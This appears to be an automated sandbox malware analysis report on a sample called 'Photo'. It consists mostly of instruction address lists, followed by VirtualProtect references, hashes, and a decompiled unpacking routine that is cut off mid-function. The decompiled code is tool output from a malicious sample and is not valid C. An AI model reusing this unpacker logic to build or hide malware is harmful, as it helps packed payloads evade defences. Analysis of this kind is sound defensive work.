0x02771f96
0x02771f9e
0x02771faa
0x02771fae
0x02771fae
0x02771fb4
0x02771fb8
0x02771fba
0x02771fbe
0x02771fc3
0x02771fc6
0x02771fc6
0x02771fc8
0x02771fcf
0x02771fd1
0x02771fdb
0x02771fe2
0x02771fe6
0x02771fe6
0x02771fe8
0x02771fe8
0x02771fec
0x00000000
0x00000000
0x02771ff2
0x02771ff5
0x02771ff8
0x02771ff9
0x02771ffa
0x02771ffc
0x02771fff
0x00000000
0x02772001
0x02772001
0x02772008
0x0277200c
0x02772976
0x02772976
0x0277297d
0x0277297d
0x0277297f
0x02772986
0x0277298a
0x0277298c
0x02772993
0x02772012
0x02772012
0x02772012
0x02772016
0x0277201a
0x0277201e
0x02772022
0x02772025
0x02772029
0x0277202b
0x02772033
0x02772036
0x02772050
0x02772050
0x02772054
0x02772058
0x0277205b
0x0277205e
0x02772061
0x02772063
0x02772246
0x0277224a
0x0277224c
0x02772250
0x02772252
0x02772254
0x02772258
0x0277225b
0x02772261
0x02772265
0x02772269
0x0277226d
0x02772271
0x02772289
0x02772289
0x0277228f
0x02772292
0x02772299
0x0277229c
0x0277229f
0x027722a1
0x027722f5
0x027722f7
0x027722f9
0x027722fb
0x027722fd
0x02772301
0x02772305
0x02772308
0x0277230e
0x02772315
0x0277232d
0x0277232d
0x02772333
0x02772336
0x0277233d
0x02772340
0x02772343
0x02772345
0x0277242e
0x02772430
0x02772432
0x02772436
0x0277243a
0x0277243d
0x0277243f
0x02772445
0x0277244c
0x02772464
0x02772464
0x0277246a
0x0277246d
0x02772474
0x02772477
0x0277247a
0x0277247c
0x027724a1
0x027724a3
0x027724a5
0x027724a7
0x027724a9
0x027724ad
0x027724b0
0x027724b4
0x027724ba
0x027724c1
0x027724d9
0x027724d9
0x027724df
0x027724e2
0x027724e9
0x027724ec
0x027724ef
0x027724f1
0x02772513
0x02772515
0x02772517
0x02772519
0x0277251b
0x0277251f
0x0277251f
0x02772522
0x02772526
0x0277252d
0x02772531
0x02772535
0x027724f3
0x027724f3
0x027724f5
0x027724fa
0x027724fc
0x02772503
0x02772506
0x0277250d
0x0277250d
0x02772539
0x0277253d
0x00000000
0x027724c3
0x027724c3
0x027724c7
0x00000000
0x027724cd
0x027724cd
0x027724d0
0x027724d3
0x027724d6
0x027724d7
0x027724d7
0x00000000
0x027724d7
0x027724c7
0x0277247e
0x0277247e
0x02772485
0x02772487
0x0277248e
0x02772491
0x02772498
0x02772541
0x02772541
0x02772545
0x02772549
0x00000000
0x02772549
0x0277244e
0x0277244e
0x02772452
0x00000000
0x02772458
0x02772458
0x0277245b
0x0277245e
0x02772461
0x02772462
0x02772462
0x00000000
0x02772462
0x02772452
0x0277234b
0x0277234b
0x02772350
0x02772352
0x02772354
0x0277235c
0x02772361
0x02772364
0x02772368
0x0277236f
0x02772373
0x02772377
0x0277237a
0x0277237e
0x02772384
0x02772387
0x0277239f
0x0277239f
0x027723a8
0x027723ab
0x027723ae
0x027723b1
0x027723b3
0x02772415
0x02772417
0x02772419
0x0277241b
0x02772422
0x0277254d
0x0277254d
0x0277254f
0x02772554
0x02772558
0x0277255b
0x0277255b
0x02772565
0x00000000
0x027723b5
0x027723b5
0x027723b9
0x027723be
0x027723c2
0x027723c6
0x027723cb
0x027723ce
0x027723d5
0x00000000
0x027723db
0x027723db
0x027723dd
0x027723e2
0x027723e9
0x027723ed
0x027723f4
0x027723f8
0x027723fc
0x02772400
0x02772404
0x02772408
0x0277240b
0x0277240c
0x00000000
0x0277240c
0x027723d5
0x02772389
0x02772389
0x0277238d
0x00000000
0x02772393
0x02772393
0x02772396
0x02772399
0x0277239c
0x0277239d
0x0277239d
0x00000000
0x0277239d
0x0277238d
0x02772387
0x02772317
0x02772317
0x0277231b
0x00000000
0x02772321
0x02772321
0x02772324
0x02772327
0x0277232a
0x0277232b
0x0277232b
0x00000000
0x0277232b
0x0277231b
0x027722a3
0x027722a3
0x027722a5
0x027722aa
0x027722ac
0x027722b0
0x027722b3
0x027722b7
0x027722ba
0x027722be
0x027722c2
0x027722c6
0x027722cd
0x027722d1
0x027722d5
0x027722d9
0x027722db
0x027722e0
0x027722e3
0x027722ec
0x02772569
0x02772569
0x0277256f
0x02772587
0x02772587
0x0277258c
0x0277258f
0x02772592
0x02772595
0x02772597
0x027725c8
0x027725ca
0x027725cc
0x027725ce
0x027725d2
0x027725d5
0x027725db
0x027725de
0x027725f6
0x027725f6
0x027725fc
0x027725ff
0x02772602
0x02772605
0x02772607
0x02772644
0x02772646
0x02772648
0x0277264a
0x0277264e
0x02772652
0x0277265a
0x0277265d
0x02772665
0x02772669
0x02772669
0x0277266f
0x02772609
0x02772609
0x02772612
0x02772614
0x02772614
0x02772614
0x02772619
0x0277261c
0x02772624
0x02772627
0x0277262b
0x02772636
0x00000000
0x02772636
0x00000000
0x027725e0
0x027725e0
0x027725e4
0x00000000
0x027725ea
0x027725ea
0x027725ed
0x027725f0
0x027725f3
0x027725f4
0x027725f4
0x00000000
0x027725f4
0x027725e4
0x02772599
0x02772599
0x027725a2
0x027725a4
0x027725a9
0x027725ac
0x027725b4
0x027725b7
0x027725ba
0x027725c2
0x0277263a
0x0277263a
0x02772673
0x02772673
0x02772677
0x0277267c
0x02772680
0x02772680
0x02772683
0x02772687
0x02772689
0x02772691
0x00000000
0x02772693
0x02772693
0x02772697
0x00000000
0x0277269d
0x0277269d
0x027726a2
0x027726a5
0x027726a8
0x027726a9
0x027726a9
0x00000000
0x027726a9
0x02772697
0x00000000
0x027726ab
0x027726ab
0x027726af
0x027726b2
0x027726b5
0x027726b8
0x027726bb
0x027726bd
0x027726d7
0x027726db
0x027726dd
0x027726df
0x027726e3
0x027726e3
0x027726e6
0x027726e9
0x027726e9
0x027726bf
0x027726bf
0x027726c8
0x027726cd
0x027726d0
0x027726d2
0x027726d2
0x027726ec
0x027726f0
0x027726f0
0x027726f1
0x027726f1
0x027726f7
0x02772700
0x02772702
0x02772704
0x02772708
0x0277270d
0x02772711
0x027728fe
0x027728fe
0x02772902
0x02772906
0x02772909
0x0277290d
0x00000000
0x0277290f
0x0277290f
0x02772916
0x02772918
0x0277291c
0x0277291c
0x02772923
0x02772926
0x02772926
0x02772928
0x02772929
0x0277292d
0x0277292f
0x02772930
0x02772934
0x02772934
0x02772935
0x00000000
0x00000000
0x02772937
0x0277293e
0x02772942
0x00000000
0x02772944
0x00000000
0x02772944
0x00000000
0x02772942
0x00000000
0x02772926
0x02772717
0x02772717
0x0277271c
0x0277271f
0x02772721
0x02772723
0x02772723
0x02772728
0x0277272c
0x0277272c
0x0277272f
0x0277273e
0x02772742
0x02772747
0x02772747
0x0277274a
0x0277274e
0x02772750
0x02772758
0x00000000
0x0277275a
0x0277275a
0x0277275e
0x00000000
0x02772764
0x02772764
0x02772769
0x0277276c
0x0277276f
0x02772770
0x02772770
0x00000000
0x02772770
0x0277275e
0x00000000
0x02772772
0x02772772
0x02772776
0x02772779
0x0277277c
0x0277277f
0x02772782
0x02772784
0x0277279e
0x027727a2
0x027727a4
0x027727a6
0x027727aa
0x027727aa
0x027727ad
0x027727ad
0x027727b0
0x02772786
0x02772786
0x0277278f
0x02772794
0x02772797
0x0277279a
0x0277279a
0x027727b3
0x027727b7
0x027727b7
0x027727b8
0x027727b8
0x027727be
0x027727be
0x027727c1
0x027727c4
0x027727c7
0x027728f4
0x027728f4
0x027728f7
0x027728f7
0x027728f8
0x027728fc
0x00000000
0x00000000
0x00000000
0x00000000
0x027727cd
0x027727cd
0x027727cf
0x027727d1
0x027727d3
0x027727d6
0x027727d6
0x027727d9
0x027727dc
0x027727df
0x027727e3
0x02772801
0x02772801
0x02772804
0x02772804
0x0277280c
0x00000000
0x0277280e
0x0277280e
0x02772812
0x00000000
0x02772818
0x02772818
0x0277281d
0x02772820
0x02772823
0x02772824
0x02772824
0x00000000
0x02772824
0x02772812
0x00000000
0x02772826
0x02772826
0x0277282a
0x0277282c
0x02772830
0x02772832
0x02772836
0x02772836
0x02772836
0x02772839
0x02772839
0x02772839
0x0277283c
0x02772843
0x02772846
0x02772846
0x0277284b
0x02772853
0x00000000
0x027727e5
0x027727e5
0x027727e9
0x027727eb
0x027727ed
0x027727f4
0x027727f6
0x027727fb
0x02772857
0x02772857
0x0277285f
0x02772864
0x02772864
0x02772868
0x0277286a
0x0277286e
0x02772870
0x02772878
0x00000000
0x0277287a
0x0277287a
0x0277287e
0x00000000
0x02772884
0x02772884
0x02772889
0x0277288c
0x0277288f
0x02772890
0x02772890
0x00000000
0x02772890
0x0277287e
0x00000000
0x02772892
0x02772892
0x02772896
0x0277289a
0x0277289d
0x027728a0
0x027728a3
0x027728a5
0x027728c2
0x027728c6
0x027728c8
0x027728ca
0x027728ce
0x027728d1
0x027728d5
0x027728d9
0x027728dd
0x027728de
0x027728de
0x027728a7
0x027728a7
0x027728b0
0x027728b5
0x027728b8
0x027728bc
0x027728bc
0x027728e1
0x027728e5
0x027728e9
0x027728e9
0x027728ea
0x027728ea
0x00000000
0x02772864
0x027727e3
0x027727c7
0x02772711
0x02772571
0x02772571
0x02772575
0x00000000
0x0277257b
0x0277257b
0x0277257e
0x02772581
0x02772584
0x02772585
0x02772585
0x00000000
0x02772585
0x02772575
0x0277256f
0x02772273
0x02772273
0x02772277
0x00000000
0x0277227d
0x0277227d
0x02772280
0x02772283
0x02772286
0x02772287
0x02772287
0x00000000
0x02772287
0x02772277
0x02772069
0x02772069
0x02772072
0x02772074
0x02772078
0x0277207b
0x02772080
0x02772083
0x02772088
0x02772090
0x02772094
0x02772098
0x0277209a
0x0277209f
0x027720a3
0x027720a5
0x027720a7
0x027720ad
0x027720b2
0x027720b9
0x027720bd
0x0277218d
0x0277218d
0x02772190
0x02772194
0x02772196
0x0277219e
0x027721b8
0x027721b8
0x027721bc
0x027721c0
0x027721c3
0x027721c6
0x027721c9
0x027721cb
0x027721e6
0x027721ea
0x027721ec
0x027721ee
0x027721ee
0x027721f1
0x027721f8
0x027721cd
0x027721cd
0x027721d1
0x027721d6
0x027721d8
0x027721dd
0x027721e0
0x027721e0
0x00000000
0x027721a0
0x027721a0
0x027721a4
0x00000000
0x027721aa
0x027721aa
0x027721af
0x027721b2
0x027721b5
0x027721b6
0x027721b6
0x00000000
0x027721b6
0x027721a4
0x027720c3
0x027720c3
0x027720c7
0x027720c7
0x027720cb
0x027720d6
0x027720da
0x027720da
0x027720de
0x027720e2
0x027720e5
0x027720e9
0x027720ef
0x027720f7
0x027720fb
0x027720ff
0x02772102
0x0277211c
0x0277211c
0x02772120
0x02772127
0x0277212a
0x0277212d
0x02772130
0x02772132
0x02772157
0x0277215b
0x0277215d
0x0277215f
0x02772162
0x02772166
0x02772169
0x0277216e
0x02772175
0x00000000
0x00000000
0x00000000
0x00000000
0x02772134
0x02772134
0x02772138
0x0277213d
0x0277213f
0x02772141
0x02772144
0x02772149
0x0277214c
0x02772153
0x00000000
0x02772155
0x02772185
0x02772185
0x0277218b
0x027721fe
0x027721fe
0x02772202
0x02772204
0x0277220b
0x0277220f
0x02772212
0x02772213
0x02772218
0x0277221c
0x0277222b
0x02772230
0x0277223c
0x02772232
0x02772232
0x02772232
0x0277221e
0x0277221e
0x0277221e
0x00000000
0x00000000
0x00000000
0x00000000
0x0277218b
0x02772153
0x02772104
0x02772104
0x02772108
0x00000000
0x0277210e
0x0277210e
0x02772113
0x02772116
0x02772119
0x0277211a
0x0277211a
0x00000000
0x0277211a
0x02772108
0x00000000
0x02772177
0x02772177
0x02772177
0x00000000
0x02772183
0x027720bd
0x02772038
0x02772038
0x0277203c
0x00000000
0x02772042
0x02772042
0x02772047
0x0277204a
0x0277204d
0x0277204e
0x0277204e
0x00000000
0x0277204e
0x0277203c
0x00000000
0x02772946
0x02772946
0x0277294d
0x0277294d
0x02772957
0x02772957
0x0277295f
0x00000000
0x02772961
0x02772961
0x02772965
0x0277296a
0x02772975
0x02772975
0x00000000
0x02772975
0x0277296a
0x0277295f
0x0277200c
0x02772995
0x02772995
0x02772998
0x02772999
0x0277299a
0x0277299b
0x0277299c
0x0277299f
0x027729a2
0x027729a2
0x027729a4
0x027729ab
0x027729ad
0x027729ad
0x027729ae
0x027729ae
0x027729b2
0x027729b4
0x027729b4
0x027729b6
0x027729b7
0x027729b9
0x027729b9
0x027729be
0x027729be
0x027729be
0x027729be
0x027729c0
0x027729c1
0x027729c3
0x027729c3
0x027729c7
0x027729c7
0x027729cc
0x027729ce
0x027729d1
0x027729d5
0x027729d8
0x027729d8
0x027729d8
0x027729da
0x027729dc
0x027729df
0x027729e1
0x027729e3
0x027729e6
0x027729e8
0x027729ea
0x027729ea
0x027729f0
0x027729f0
0x027729f0
0x027729f2
0x027729f2
0x027729f4
0x00000000
0x00000000
0x027729f6
0x027729f9
0x02772a00
0x02772a03
0x02772a03
0x02772a0c
0x02772a0c
0x02772a0c
0x02772a0d
0x02772a0d
0x02772a0f
0x02772a10
0x02772a12
0x00000000
0x00000000
0x02772a14
0x02772a16
0x02772a18
0x02772a1b
0x02772a1c
0x02772a1d
0x02772a1d
0x02772a1e
0x02772a1e
0x02772a20
0x02772a21
0x02772a24
0x02772a2a
0x02772a2a
0x02772a2c
0x02772a35
0x02772a36
0x02772a36
0x02772a38
0x02772a2e
0x02772a2e
0x02772a30
0x00000000
0x02772a30
0x00000000
0x02772a2c
0x02772a0d
0x02772a3b
0x02772a3b
0x02772a3e
0x02772a3e
0x02772a41
0x02772a41
0x02772a43
0x02772a45
0x02772a46
0x02772a46
0x02772a48
0x00000000
0x00000000
0x02772a4a
0x02772a4c
0x02772a5f
0x02772a61
0x02772a64
0x02772a67
0x02772a67
0x02772a4e
0x02772a50
0x02772a52
0x02772a52
0x02772a52
0x02772a54
0x02772a57
0x02772a57
0x02772a57
0x02772a59
0x02772a5b
0x02772a5b
0x02772a6c
0x02772a72
0x02772a72
0x02772a78
0x02772a7d
0x02772a83
0x02772a85
0x02772a85
0x02772a8b
0x02772a8e
0x02772a8e
0x02772a8e
0x02772a92
0x02772a98
0x02772a9a
0x02772a9b
0x02772a9c
0x02772aa0
0x02772aa0
0x02772aa2
0x02772aa2
0x02772aa6
0x00000000
0x02772aa6
0x0277296e
0x0277296e
0x00000000
0x0277296e
0x00000000

APIs

VirtualProtect.KERNEL32(-00001000,00001000,00000004,?,00000000), ref: 02772A83
VirtualProtect.KERNEL32(-00001000,00001000), ref: 02772A98

Strings

y(ProcessParameters), xrefs: 02771EDC, 02771F0A, 02771F18

Memory Dump Source

Source File: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: ProtectVirtual
String ID: y(ProcessParameters)
API String ID: 544645111-2902218424
Opcode ID: d6e6f35ec8a57b7e5d778e88e0805a52cbf4019f45aa8ac596f5cbbc395745c6
Instruction ID: 075087e671618990943c9aa180849941f87ae6acf654c396eaee58ed824a48c3
Opcode Fuzzy Hash: d6e6f35ec8a57b7e5d778e88e0805a52cbf4019f45aa8ac596f5cbbc395745c6
Instruction Fuzzy Hash: 49729A316083958FDB24CF28C88066ABBE1FF89344F194A2DE9E5DB352E771D945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 1E7C0FA0 Relevance: 3.9, APIs: 2, Instructions: 891memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(-00001000,00001000,00000004,?,00000000), ref: 1E7C1B53
VirtualProtect.KERNEL32(-00001000,00001000), ref: 1E7C1B68

Memory Dump Source

Source File: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6d262b0c71f9c015816c5508a544d64cbae02a1b5ee422ee9a3a9f2d910439d2
Instruction ID: 12bd7e40b6dfd77b3012bca56022bbc4e9473bc772901fbb0fb185de61f08eb0
Opcode Fuzzy Hash: 6d262b0c71f9c015816c5508a544d64cbae02a1b5ee422ee9a3a9f2d910439d2
Instruction Fuzzy Hash: 9D7269316183968FE314CF28C88069ABBF6EF85344F154A3DE9A58B361E771D945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 02787890 Relevance: 3.9, APIs: 2, Instructions: 891
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			_entry_(intOrPtr _a4, char _a8, intOrPtr _a12, signed short _a380, signed short _a404, unsigned short _a428, unsigned short _a452, unsigned short _a476, unsigned short _a508) {
				char _v3;
				char _v5;
				long _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				long _v32;
				void* _v36;
				long _v60;
				signed int _v64;
				signed int _v65;
				signed int _v72;
				signed int _v76;
				void* _v80;
				signed int _v84;
				void* _v88;
				long _v92;
				void* _v96;
				void* _v100;
				long _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				void* _v120;
				void* _v124;
				signed int _v128;
				void* _v132;
				void* _v136;
				void* _v140;
				long _v144;
				void* _v148;
				signed int _v152;
				long _v156;
				long _v160;
				void* _v164;
				void* _v168;
				void* _v172;
				long _v176;
				char _v296;
				char _v308;
				char _v16004;
				void* _t363;
				void* _t365;
				void* _t369;
				void* _t370;

				if(_a8 != 1) {
					L154:
					_t376 = _a8 - 1;
					if(_a8 == 1) {
						E02782D3A();
					}
					_push(_a4);
					_t363 = E027828DB(_t365, _a12, _a8, _t369, _t370, _t376); // executed
					return _t363;
				} else {
					asm("pushad");
					__edi = 0x2781000;
					_push(__edi);
					__ebp = __esp;
					__ebx =  &_v16004;
					__eax = 0;
					__eflags = 0;
					do {
						_push(0);
						__eflags = __esp - __ebx;
					} while (__esp != __ebx);
					0x2786001 = 0x2786002;
					_push(__ebx);
					_push(0x5847);
					_push(__edi);
					__ebx = __ebx + 4;
					_push(__ebx);
					_push(0x1880);
					_push(0x2786000);
					__ebx = __ebx + 4;
					_push(__ebx);
					_push(0);
					 *__ebx = 0x20003;
					_push(__ebp);
					_push(__edi);
					_push(0x2786002);
					_push(__ebx);
					__esp = __esp - 0x7c;
					__edx = _v36;
					_v64 = 0;
					_v65 = 0;
					__ebp = _v24;
					__eax = __edx + 4;
					_v60 = __edx + 4;
					__eax = 1;
					__ecx =  *(__edx + 2) & 0x000000ff;
					1 = 1 << __cl;
					1 << __cl = (1 << __cl) - 1;
					_v72 = (1 << __cl) - 1;
					__ecx =  *(__edx + 1) & 0x000000ff;
					1 << __cl = (1 << __cl) - 1;
					_v76 = (1 << __cl) - 1;
					__eax = _v12;
					__esi =  *__edx & 0x000000ff;
					 *_v24 = 0;
					_v84 = 0;
					 *_v12 = 0;
					__eax = 0x300;
					_v80 = __esi;
					_v88 = 1;
					_v92 = 1;
					_v96 = 1;
					_v100 = 1;
					 *(__edx + 1) & 0x000000ff = __esi + ( *(__edx + 1) & 0x000000ff);
					_t26 = (0x300 << __cl) + 0x736; // 0xa36
					__ecx = _t26;
					__eflags = _v64 - _t26;
					if(_v64 < _t26) {
						__eax = _v60;
						 *__eax = 0x400;
						__eax = __eax + 2;
						asm("loop 0xfffffff8");
					}
					__ebx = _v32;
					__edi = 0;
					_v108 = 0xffffffff;
					__ebx = __ebx + _v28;
					_v104 = __ebx + _v28;
					__edx = 0;
					__eflags = 0;
					while(1) {
						__eflags = __ebx - _v104;
						if(__ebx == _v104) {
							break;
						}
						__eax =  *__ebx & 0x000000ff;
						__edi = __edi << 8;
						__edx = __edx + 1;
						__ebx = __ebx + 1;
						__edi = __edi | __eax;
						__eflags = __edx - 4;
						if(__edx <= 4) {
							continue;
						} else {
							__ecx = _v16;
							__eflags = _v64 - _v16;
							if(_v64 >= _v16) {
								L131:
								__ebx = __ebx - _v32;
								__eax = 0;
								__eflags = 0;
								__edx = _v24;
								__ecx = _v64;
								 *__edx = __ebx;
								__ebx = _v12;
								 *_v12 = _v64;
							} else {
								do {
									__esi = _v64;
									__esi = _v64 & _v72;
									__eax = _v84;
									__edx = _v60;
									__eax = _v84 << 4;
									_v112 = __esi;
									__eax = __esi + (_v84 << 4);
									__eflags = _v108 - 0xffffff;
									__ebp = __edx + (__esi + (_v84 << 4)) * 2;
									if(_v108 > 0xffffff) {
										L15:
										__eax = _v108;
										__dx =  *__ebp;
										__eax = _v108 >> 0xb;
										__ecx = __dx & 0x0000ffff;
										__eax = (_v108 >> 0xb) * __ecx;
										__eflags = __edi - __eax;
										if(__edi >= __eax) {
											__ecx = _v108;
											__edi = __edi - __eax;
											__esi = _v84;
											__ecx = _v108 - __eax;
											__eax = __edx;
											__ax = __ax >> 5;
											__dx = __dx - __ax;
											__eflags = __ecx - 0xffffff;
											 *__ebp = __dx;
											__ebp = _v60;
											__esi = _v60 + _v84 * 2;
											_v124 = _v60 + _v84 * 2;
											if(__ecx > 0xffffff) {
												L42:
												__ebp = _v124;
												__ecx = __ecx >> 0xb;
												__dx = _a380;
												__ebp = __dx & 0x0000ffff;
												__eax = (__ecx >> 0xb) * __ebp;
												__eflags = __edi - __eax;
												if(__edi >= __eax) {
													__esi = __ecx;
													__edi = __edi - __eax;
													__esi = __ecx - __eax;
													__eax = __edx;
													__ax = __ax >> 5;
													__ecx = _v124;
													__dx = __dx - __ax;
													__eflags = __esi - 0xffffff;
													 *(__ecx + 0x180) = __dx;
													if(__esi > 0xffffff) {
														L47:
														__ebp = _v124;
														__esi = __esi >> 0xb;
														__cx = _a404;
														__eax = __cx & 0x0000ffff;
														__edx = (__esi >> 0xb) * __eax;
														__eflags = __edi - __edx;
														if(__edi >= __edx) {
															__eax = __ecx;
															__esi = __esi - __edx;
															__ax = __ax >> 5;
															__ebp = _v124;
															__cx = __cx - __ax;
															__edi = __edi - __edx;
															__eflags = __esi - 0xffffff;
															_a404 = __cx;
															if(__esi > 0xffffff) {
																L58:
																__ecx = _v124;
																__esi = __esi >> 0xb;
																__dx =  *(_v124 + 0x1b0);
																__ecx = __dx & 0x0000ffff;
																__eax = (__esi >> 0xb) * __ecx;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	__ecx = __esi;
																	__edi = __edi - __eax;
																	__ecx = __esi - __eax;
																	__eax = __edx;
																	__ax = __ax >> 5;
																	__dx = __dx - __ax;
																	__eax = _v124;
																	__eflags = __ecx - 0xffffff;
																	 *(_v124 + 0x1b0) = __dx;
																	if(__ecx > 0xffffff) {
																		L63:
																		__esi = _v124;
																		__ecx = __ecx >> 0xb;
																		__dx =  *(_v124 + 0x1c8);
																		__ebp = __dx & 0x0000ffff;
																		__eax = (__ecx >> 0xb) * __ebp;
																		__eflags = __edi - __eax;
																		if(__edi >= __eax) {
																			__esi = __ecx;
																			__edi = __edi - __eax;
																			__esi = __ecx - __eax;
																			__eax = __edx;
																			__ax = __ax >> 5;
																			__dx = __dx - __ax;
																			__eflags = __dx;
																			__eax = _v124;
																			 *(_v124 + 0x1c8) = __dx;
																			__edx = _v96;
																			__eax = _v100;
																			_v100 = __edx;
																		} else {
																			__esi = __eax;
																			__eax = 0x800;
																			__eax = 0x800 - __ebp;
																			__ebp = _v124;
																			__eax = __edx + __eax;
																			_a452 = __ax;
																			__eax = _v96;
																		}
																		__ecx = _v92;
																		_v96 = _v92;
																		goto L67;
																	} else {
																		__eflags = __ebx - _v104;
																		if(__ebx == _v104) {
																			goto L129;
																		} else {
																			__eax =  *__ebx & 0x000000ff;
																			__edi = __edi << 8;
																			__ecx = __ecx << 8;
																			__ebx = __ebx + 1;
																			__edi = __edi | __eax;
																			__eflags = __edi;
																			goto L63;
																		}
																	}
																} else {
																	__esi = __eax;
																	0x800 = 0x800 - __ecx;
																	__ebp = _v124;
																	0x800 - __ecx >> 5 = __edx + (0x800 - __ecx >> 5);
																	_a428 = __ax;
																	__eax = _v92;
																	L67:
																	__ebp = _v88;
																	_v88 = __eax;
																	_v92 = _v88;
																	goto L68;
																}
															} else {
																__eflags = __ebx - _v104;
																if(__ebx == _v104) {
																	goto L129;
																} else {
																	__eax =  *__ebx & 0x000000ff;
																	__edi = __edi << 8;
																	__esi = __esi << 8;
																	__ebx = __ebx + 1;
																	__edi = __edi | __eax;
																	__eflags = __edi;
																	goto L58;
																}
															}
														} else {
															__ebp = 0x800;
															__esi = __edx;
															__ebp = 0x800 - __eax;
															_v128 = 0x800;
															__eax = 0x800 - __eax;
															__eax = __ecx + __eax;
															__ecx = _v124;
															 *(_v124 + 0x198) = __ax;
															__eax = _v84;
															__ecx = _v112;
															__eax = _v84 << 5;
															__eax = (_v84 << 5) + _v60;
															__eflags = __edx - 0xffffff;
															__ebp = (_v84 << 5) + _v60 + _v112 * 2;
															if(__edx > 0xffffff) {
																L51:
																__dx = _a476;
																__esi = __esi >> 0xb;
																__ecx = __dx & 0x0000ffff;
																__eax = (__esi >> 0xb) * __ecx;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	__esi = __esi - __eax;
																	__edi = __edi - __eax;
																	__eax = __edx;
																	__ax = __ax >> 5;
																	_a476 = __dx;
																	L68:
																	__eax = 0;
																	__eflags = _v84 - 6;
																	__ecx = _v60;
																	__eax = 0 | _v84 - 0x00000006 > 0x00000000;
																	__ecx = _v60 + 0xa68;
																	__eflags = __ecx;
																	_v84 = __eax;
																	goto L69;
																} else {
																	_v128 = _v128 - __ecx;
																	_v128 = _v128 >> 5;
																	__esi = _v128;
																	_v108 = __eax;
																	__eflags = _v64;
																	__eax = __edx + _v128;
																	_a476 = __ax;
																	if(_v64 == 0) {
																		goto L129;
																	} else {
																		__eax = 0;
																		__eflags = _v84 - 6;
																		__ebp = _v20;
																		__edx = _v64;
																		__eax = 0 | _v84 - 0x00000006 > 0x00000000;
																		_v84 = __eax;
																		__eax = _v64;
																		__eax = _v64 - _v88;
																		__al =  *((intOrPtr*)(__ebp + _v64 - _v88));
																		_v65 = __al;
																		 *(__edx + __ebp) = __al;
																		__edx = __edx + 1;
																		_v64 = __edx;
																		goto L125;
																	}
																}
															} else {
																__eflags = __ebx - _v104;
																if(__ebx == _v104) {
																	goto L129;
																} else {
																	__eax =  *__ebx & 0x000000ff;
																	__edi = __edi << 8;
																	__esi = __esi << 8;
																	__ebx = __ebx + 1;
																	__edi = __edi | __eax;
																	__eflags = __edi;
																	goto L51;
																}
															}
														}
													} else {
														__eflags = __ebx - _v104;
														if(__ebx == _v104) {
															goto L129;
														} else {
															__eax =  *__ebx & 0x000000ff;
															__edi = __edi << 8;
															__esi = __esi << 8;
															__ebx = __ebx + 1;
															__edi = __edi | __eax;
															__eflags = __edi;
															goto L47;
														}
													}
												} else {
													__esi = __eax;
													__eax = 0x800;
													__eax = 0x800 - __ebp;
													__ebp = _v92;
													__eax = __eax >> 5;
													__ecx = _v96;
													__eax = __edx + __eax;
													__edx = _v124;
													_v100 = _v96;
													__ecx = _v60;
													 *(__edx + 0x180) = __ax;
													__eax = _v88;
													_v96 = _v92;
													_v92 = _v88;
													__eax = 0;
													__eflags = _v84 - 6;
													__eax = 0 | _v84 - 0x00000006 > 0x00000000;
													__ecx = _v60 + 0x664;
													_v84 = __eax;
													L69:
													__eflags = __esi - 0xffffff;
													if(__esi > 0xffffff) {
														L72:
														__dx =  *__ecx;
														__esi = __esi >> 0xb;
														__ebp = __dx & 0x0000ffff;
														__eax = (__esi >> 0xb) * __ebp;
														__eflags = __edi - __eax;
														if(__edi >= __eax) {
															__esi = __esi - __eax;
															__edi = __edi - __eax;
															__eax = __edx;
															__ax = __ax >> 5;
															__dx = __dx - __ax;
															__eflags = __esi - 0xffffff;
															 *__ecx = __dx;
															if(__esi > 0xffffff) {
																L77:
																__dx =  *(__ecx + 2);
																__esi = __esi >> 0xb;
																__ebp = __dx & 0x0000ffff;
																__eax = (__esi >> 0xb) * __ebp;
																__eflags = __edi - __eax;
																if(__edi >= __eax) {
																	__esi = __esi - __eax;
																	__edi = __edi - __eax;
																	__eax = __edx;
																	_v108 = __esi;
																	__ax = __ax >> 5;
																	_v136 = 0x10;
																	__dx = __dx - __ax;
																	_v132 = 8;
																	 *(__ecx + 2) = __dx;
																	__ecx = __ecx + 0x204;
																	__eflags = __ecx;
																	_v164 = __ecx;
																} else {
																	_v108 = __eax;
																	0x800 = 0x800 - __ebp;
																	_t227 =  &_v112;
																	 *_t227 = _v112 << 4;
																	__eflags =  *_t227;
																	__eax = 0x800 - __ebp >> 5;
																	_v136 = 8;
																	__eax = __edx + (0x800 - __ebp >> 5);
																	__edx = _v112;
																	 *(__ecx + 2) = __ax;
																	_v164 = __ecx;
																	goto L79;
																}
																goto L81;
															} else {
																__eflags = __ebx - _v104;
																if(__ebx == _v104) {
																	goto L129;
																} else {
																	__eax =  *__ebx & 0x000000ff;
																	__edi = __edi << 8;
